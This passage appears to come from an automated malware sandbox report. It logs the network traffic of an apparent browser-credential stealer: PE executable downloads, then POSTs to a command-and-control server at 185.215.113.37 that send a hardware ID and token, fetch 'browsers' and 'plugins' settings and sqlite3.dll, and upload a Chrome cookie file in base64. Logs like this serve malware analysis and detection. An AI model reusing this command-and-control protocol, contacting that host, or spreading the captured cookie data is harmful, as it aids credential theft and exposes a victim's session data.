c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 09:02:28 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 09:02:29 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 09:02:31 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 09:02:32 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBAEHCGHIIIDHIECFHJDHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 38 46 34 30 33 34 44 42 35 46 45 31 30 33 30 33 36 31 34 34 36 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 45 48 43 47 48 49 49 49 44 48 49 45 43 46 48 4a 44 2d 2d 0d 0a Data Ascii: ------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="hwid"88F4034DB5FE1030361446------DBAEHCGHIIIDHIECFHJDContent-Disposition: form-data; name="build"doma------DBAEHCGHIIIDHIECFHJD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGIECGIEBKJJJJKEGHJHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 47 49 45 43 47 49 45 42 4b 4a 4a 4a 4a 4b 45 47 48 4a 2d 2d 0d 0a Data Ascii: ------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------JDGIECGIEBKJJJJKEGHJContent-Disposition: form-data; name="message"browsers------JDGIECGIEBKJJJJKEGHJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFHDBKFCAAECBFIDHJHost: 185.215.113.37Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 44 42 4b 46 43 41 41 45 43 42 46 49 44 48 4a 2d 2d 0d 0a Data Ascii: ------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------IJKFHDBKFCAAECBFIDHJContent-Disposition: form-data; name="message"plugins------IJKFHDBKFCAAECBFIDHJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHCGHJDBFIIDGDHIJDBHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 2d 2d 0d 0a Data Ascii: ------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="message"fplugins------CFHCGHJDBFIIDGDHIJDB--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAFHost: 185.215.113.37Content-Length: 7051Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.37Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECGDBAEHIJKKFHIEGCBGHost: 185.215.113.37Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 35 34 33 31 32 66 32 33 61 35 36 39 62 38 37 31 66 63 32 32 36 36 38 34 32 33 35 62 30 66 35 39 36 34 31 31 34 64 63 34 61 34 37 66 31 66 63 63 37 38 31 61 33 66 63 62 35 36 30 64 34 33 62 65 34 39 64 38 36 31 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 56 46 4a 56 52 51 6b 76 43 55 5a 42 54 46 4e 46 43 54 45 32 4f 54 6b 77 4d 54 45 32 4d 54 55 4a 4d 56 42 66 53 6b 46 53 43 54 49 77 4d 6a 4d 74 4d 54 41 74 4d 44 51 74 4d 54 4d 4b 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 4d 77 4f 44 45 31 43 55 35 4a 52 41 6b 31 4d 54 45 39 52 57 59 31 64 6c 42 47 52 33 63 74 54 56 70 5a 62 7a 56 6f 64 32 55 74 4d 46 52 6f 51 56 5a 7a 62 47 4a 34 59 6d 31 32 5a 46 5a 61 64 32 4e 49 62 6e 46 57 65 6c 64 49 51 56 55 78 4e 48 59 31 4d 30 31 4f 4d 56 5a 32 64 33 5a 52 63 54 68 69 59 56 6c 6d 5a 7a 49 74 53 55 46 30 63 56 70 43 56 6a 56 4f 54 30 77 31 63 6e 5a 71 4d 6b 35 58 53 58 46 79 65 6a 4d 33 4e 31 56 6f 54 47 52 49 64 45 39 6e 52 53 31 30 53 6d 46 43 62 46 56 43 57 55 70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 42 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 2d 2d 0d 0a Data Ascii: ------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="token"e54312f23a569b871fc226684235b0f5964114dc4a47f1fcc781a3fcb560d43be49d8610------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------ECGDBAEHIJKKFHIEGCBGContent-Disposition: form-data; 